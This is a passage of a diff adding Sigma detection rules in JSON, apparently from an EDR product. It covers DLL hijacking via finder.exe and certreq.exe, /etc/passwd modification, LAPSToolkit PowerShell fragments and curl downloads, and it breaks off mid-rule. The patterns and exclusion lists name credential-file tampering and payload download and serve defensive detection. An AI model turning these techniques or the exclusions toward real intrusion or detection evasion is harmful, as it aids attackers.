+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586623Z",
+  "creation_date": "2026-03-23T11:45:34.586627Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586634Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
+    "https://hijacklibs.net/entries/microsoft/external/outllib.html",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_finder.yml",
+  "content": "title: DLL Hijacking via finder.exe\nid: 65a8b26d-fbd9-480c-8dec-bba6a1cdff90\ndescription: |\n    Detects potential Windows DLL Hijacking via finder.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/\n    - https://hijacklibs.net/entries/microsoft/external/outllib.html\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/28\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'finder.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\outllib.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Microsoft Office\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Microsoft Office\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65a8b26d-fbd9-480c-8dec-bba6a1cdff90",
+  "rule_name": "DLL Hijacking via finder.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via finder.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65a8fa3a-06de-4ca1-b3dd-64deb561fc8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622230Z",
+  "creation_date": "2026-03-23T11:45:34.622232Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622236Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md",
+    "https://attack.mitre.org/techniques/T1003/008/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1003_008_etc_passwd_modified.yml",
+  "content": "title: File /etc/passwd Modified\nid: 65a8fa3a-06de-4ca1-b3dd-64deb561fc8d\ndescription: |\n    Detects a suspicious attempt to modify /etc/passwd.\n    This file contains every registered user that has access to the system, and can be modified to add new accounts.\n    It is recommended to ensure that both the process modifying this file and the user that requested the creation of a new user are legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md\n    - https://attack.mitre.org/techniques/T1003/008/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2023/01/13\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.008\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.initial_access\n    - attack.t1078\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.AccountManipulation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/passwd'\n        - TargetPath: '/etc/passwd'\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_common:\n        ProcessImage:\n            - '*/systemd'\n            - '*/sudo'\n            - '*/su'\n            - '*/sshd'\n            - '*/cron'\n            - '*/unix_chkpwd'\n            - '*/accountsservice/accounts-daemon'\n            - '*/passwd'\n            - '*/usermod'\n            - '*/useradd'\n            - '*/chage'\n            - '*/userdel'\n            - '*/kaniko/executor'\n            - '/usr/bin/chfn'\n            - '/usr/sbin/groupmod'\n            - '/usr/sbin/chpasswd'\n            - '/bin/chmod'\n            - '/bin/adduser'\n            - '/usr/bin/podman'\n            - '/usr/bin/ln'\n            - '/usr/bin/chsh'\n            - '/usr/sbin/pwck'\n            - '/usr/bin/systemd-sysusers'\n            - '/usr/lib/x86_64-linux-gnu/guix/guile'\n\n    exclusion_images:\n        ProcessImage:\n            - '/usr/bin/skopeo'\n            - '/gnu/store/*/bin/guile'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_cmp:\n        ProcessCurrentDirectory|startswith: '/var/backups/'\n        ProcessImage|endswith: '/cmp'\n        ProcessParentName: 'passwd'\n        ProcessGrandparentImage|endswith: '/run-parts'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_busybox_general:\n        ProcessImage: '/bin/busybox'\n        ProcessCommandLine:\n            - 'chpasswd'\n            - 'adduser *'\n            - 'passwd*' # passwd and passwd XXX\n            - 'deluser *'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd-shim-runc-v2'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd-shim-runc-v2'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/nix/store/*-docker-containerd-*/bin/containerd'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '/k3s/data/*/bin/containerd-shim-runc-v2|'\n            - '/rke2/data/*/bin/containerd-shim-runc-v2|'\n\n    exclusion_docker2:\n        ProcessImage|endswith: '/bin/dockerd'\n        ProcessCommandLine: 'docker-applyLayer *'\n\n    exclusion_containerd:\n        - ProcessParentImage:\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_ansible_runner:\n        # bash /usr/bin/entrypoint ansible-runner worker --private-data-dir=/runner\n        ProcessCommandLine:\n            - 'bash /usr/bin/entrypoint ansible-runner worker*'\n            - 'bash /usr/local/bin/entrypoint ansible-runner worker*'\n\n    exclusion_pwconv:\n        ProcessImage: '/usr/sbin/pwconv'\n        ProcessParentCommandLine|contains: '/sbin/authconfig'\n\n    exclusion_pam:\n        ProcessParentCommandLine: '/bin/bash /usr/share/libpam-script/pam_script_ses_open'\n\n    exclusion_snap:\n        - ProcessImage: '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage: '/usr/lib/snapd/snapd'\n\n    exclusion_proxmox:\n        ProcessCommandLine: 'pvedaemon'\n        ProcessGrandparentCommandLine: 'pvedaemon'\n\n    exclusion_buildah:\n        ProcessImage: '/usr/bin/buildah'\n\n    exclusion_nixos:\n        ProcessGrandparentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65a8fa3a-06de-4ca1-b3dd-64deb561fc8d",
+  "rule_name": "File /etc/passwd Modified",
+  "rule_description": "Detects a suspicious attempt to modify /etc/passwd.\nThis file contains every registered user that has access to the system, and can be modified to add new accounts.\nIt is recommended to ensure that both the process modifying this file and the user that requested the creation of a new user are legitimate.\n",
+  "rule_creation_date": "2023-01-13",
+  "rule_modified_date": "2026-01-21",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.008",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65b180dd-50d1-46e8-ab84-afd8514d89e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084265Z",
+  "creation_date": "2026-03-23T11:45:34.084267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084272Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/leoloobeek/LAPSToolkit/",
+    "https://adsecurity.org/?p=1790",
+    "https://kalilinuxtutorials.com/lapstoolkit-audit-attack/",
+    "https://attack.mitre.org/techniques/T1087/"
+  ],
+  "name": "t1087_laps_toolkit.yml",
+  "content": "title: LAPSToolkit PowerShell Script Executed\nid: 65b180dd-50d1-46e8-ab84-afd8514d89e1\ndescription: |\n    Detects the usage of LAPSToolkit, a tool written in PowerShell that leverages PowerView to audit Active environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).\n    This tool allows attackers to gather significant information and flaws about the Active Directory environment their are discovering.\n    It is recommended to analyze the execution context of the IP scanner (mainly its parent process) to determine its legitimacy.\nreferences:\n    - https://github.com/leoloobeek/LAPSToolkit/\n    - https://adsecurity.org/?p=1790\n    - https://kalilinuxtutorials.com/lapstoolkit-audit-attack/\n    - https://attack.mitre.org/techniques/T1087/\ndate: 2024/10/23\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.LAPSToolkit\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        - PowershellScriptPath|endswith: '\\LAPSToolkit.ps1'\n        - PowershellCommand|contains|all:\n            - 'Find-LAPSDelegatedGroups'\n            - 'Get-NetComputer -FullData -Filter \"(ms-mcs-admpwdexpirationtime=*)\" @PSBoundParameters | ForEach-Object'\n            - 'Get-NetOU -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData'\n            - 'Get-ObjectAcl -Domain $Domain -DomainController $DomainController -Credential $Credential -ResolveGUIDs'\n            - 'Write-Verbose \"Retrieving all users and groups to resolve SIDs when using PSCredential\"'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65b180dd-50d1-46e8-ab84-afd8514d89e1",
+  "rule_name": "LAPSToolkit PowerShell Script Executed",
+  "rule_description": "Detects the usage of LAPSToolkit, a tool written in PowerShell that leverages PowerView to audit Active environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).\nThis tool allows attackers to gather significant information and flaws about the Active Directory environment their are discovering.\nIt is recommended to analyze the execution context of the IP scanner (mainly its parent process) to determine its legitimacy.\n",
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65b72ae8-cc42-4a2b-a7d4-9f6c30bf96b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081849Z",
+  "creation_date": "2026-03-23T11:45:34.081851Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081856Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_certreq.yml",
+  "content": "title: Phantom DLL Hijacking via certreq.exe\nid: 65b72ae8-cc42-4a2b-a7d4-9f6c30bf96b2\ndescription: |\n    Detects a potential Windows DLL search order hijacking via certreq.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/06\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CertReq.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\msfte.dll'\n            - '?:\\Windows\\System32\\msTracer.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65b72ae8-cc42-4a2b-a7d4-9f6c30bf96b2",
+  "rule_name": "Phantom DLL Hijacking via certreq.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via certreq.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65d0c693-d321-45f0-bf8b-7372027471e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622375Z",
+  "creation_date": "2026-03-23T11:45:34.622377Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622381Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/pr0xylife/status/1570064310923304962",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/",
+    "https://attack.mitre.org/techniques/T1048/"
+  ],
+  "name": "t1105_file_download_with_curl_for_windows.yml",
+  "content": "title: File Downloaded via cURL\nid: 65d0c693-d321-45f0-bf8b-7372027471e3\ndescription: |\n    Detects the usage of curl.exe to download a file.\n    Attackers can use the legitimate curl.exe binary to download malicious payloads from external servers.\n    It is recommended to analyze the execution chain associated with this alert to determine its legitimacy, as well as to analyze the downloaded file.\nreferences:\n    - https://twitter.com/pr0xylife/status/1570064310923304962\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\n    - https://attack.mitre.org/techniques/T1048/\ndate: 2023/12/19\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - attack.exfiltration\n    - attack.t1048\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_curl:\n        - OriginalFileName: 'curl.exe'\n        - Image|endswith: '\\curl.exe'\n\n    selection_args:\n        CommandLine|contains:\n            - ' -o'\n            - ' /o'\n            - ' --output'\n        ParentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n        GrandparentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_command:\n        CommandLine|contains:\n            - 'https://*.cashsystemes.com/'\n            - 'https://*.mixpanel.com/api'\n            - '?:\\Program Files\\Neolane\\NeolaneV'\n            - '\\SolwareLifePSI\\'\n            - 'https://*.enovacom.fr'\n            - 'http://*.sage.com.*.ipercast.net/'\n            - '--url https://console.fieldwire.net'\n            - '-o ?:\\Windows\\TEMP\\SageCoala\\Coala\\'\n            - ' --trace-time --connect-timeout '\n            - ' https://raw.githubusercontent.com/mon5termatt/medicat_installer/'\n            - 'curl.exe -s -o NUL http'\n            - ' --user-agent FaceFusion/* --insecure --location --silent '\n            - 'curl -e https://installer.medicatusb.com '\n            - 'curl -Ls -o nul -w %{url_effective} --connect-timeout 30 --max-time 30 https://mirror.ctan.org'\n            - 'curl -fsSL https://claude.ai/install.cmd -o install.cmd'\n            - 'curl -fsSL https://storage.googleapis.com/claude-code-dist-'\n            - ' -H Connection: close'\n            - '  -w %{http_code}'\n            - ' -H Authorization: Bearer * -H X-Api-Key:'\n            - 'curl -k --connect-timeout 4 -u '\n            - 'curl.exe --ca-native --ssl-no-revoke --url https://updaters.designexpress.eu/updaters/'\n            - ' https://hydro1.gesdisc.eosdis.nasa.gov/daac-bin/OTF/HTTP_services.cgi'\n\n    exclusion_image:\n        - Image:\n            - '*\\HashiCorp\\Vagrant\\embedded\\bin\\curl.exe'\n            - '?:\\ProgramData\\HP\\HP BTO Software\\shared\\EwToolPackage\\EwToolPackageCurl\\curl\\curl.exe'\n            - '?:\\soft_web\\curl\\bin\\curl.exe'\n            - '?:\\tradexpress5\\bin\\curl.exe'\n            - '*\\git\\mingw64\\bin\\curl.exe'\n        - ParentImage: '?:\\Users\\\\*\\AppData\\Roaming\\TinyTeX\\tlpkg\\tlperl\\bin\\perl.exe'\n        - GrandparentImage: '?:\\ProgramData\\3CXSBC\\3cxsbc.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '\\Talend?\\'\n            - '?:\\Program Files\\Zulu\\zulu-*\\bin\\java.exe'\n            - '|?:\\Program Files (x86)\\BigFix Enterprise\\BES Client\\BESClient.exe'\n            - '|?:\\VTOM\\ABM\\BIN\\bdaemon.exe'\n            - '|?:\\Program Files (x86)\\CentraStage\\CagService.exe'\n\n    exclusion_fiery:\n        - Image: '?:\\Users\\\\*\\AppData\\Roaming\\Fiery Software Manager\\extract\\\\*\\FSM\\curl.exe'\n        - ParentImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\RarSFX*\\FSM\\Fiery Software Manager.exe'\n\n    exclusion_archicad:\n        - Image|endswith: '\\GRAPHISOFT\\Archicad*\\curl.exe'\n        - CommandLine|contains: '\\archicad\\curl.exe --cacert '\n          ParentImage|endswith:\n            - '\\Archicad.exe'\n            - '\\UsageLogSender.exe'\n\n    exclusion_git:\n        ParentCommandLine|endswith: '\\git-update-git-for-windows --quiet --gui'\n\n    exclusion_dell:\n        CurrentDirectory: '?:\\Program Files\\Dell\\Dell Repository Manager\\'\n\n    exclusion_fusioninventory:\n        ParentCommandLine: 'start /wait cmd /c ?:\\Windows\\TEMP\\fusioninventory*.bat'\n\n    exclusion_moodle:\n        CommandLine|contains|all:\n            - 'moodle'\n            - '/admin/cron.php'\n\n    exclusion_domotz:\n        Image|endswith: '\\domotz_curl.exe'\n        CommandLine|contains:\n            - 'https://portal.domotz.com'\n            - '?:\\Windows\\TEMP\\local-domotz-packages.json'\n\n    exclusion_perl_install:\n        ParentCommandLine|startswith: '?:\\users\\\\*\\appdata\\local\\temp\\\\*tmp\\install-tl-*\\tlpkg\\tlperl\\bin\\perl.exe'\n\n    exclusion_share:\n        Image|startswith: '\\\\\\\\'\n\n    exclusion_llm_autokey:\n        ParentImage|endswith: '\\LLM AutoHotkey Assistant.exe'\n        CommandLine|contains: '-H HTTP-Referer: 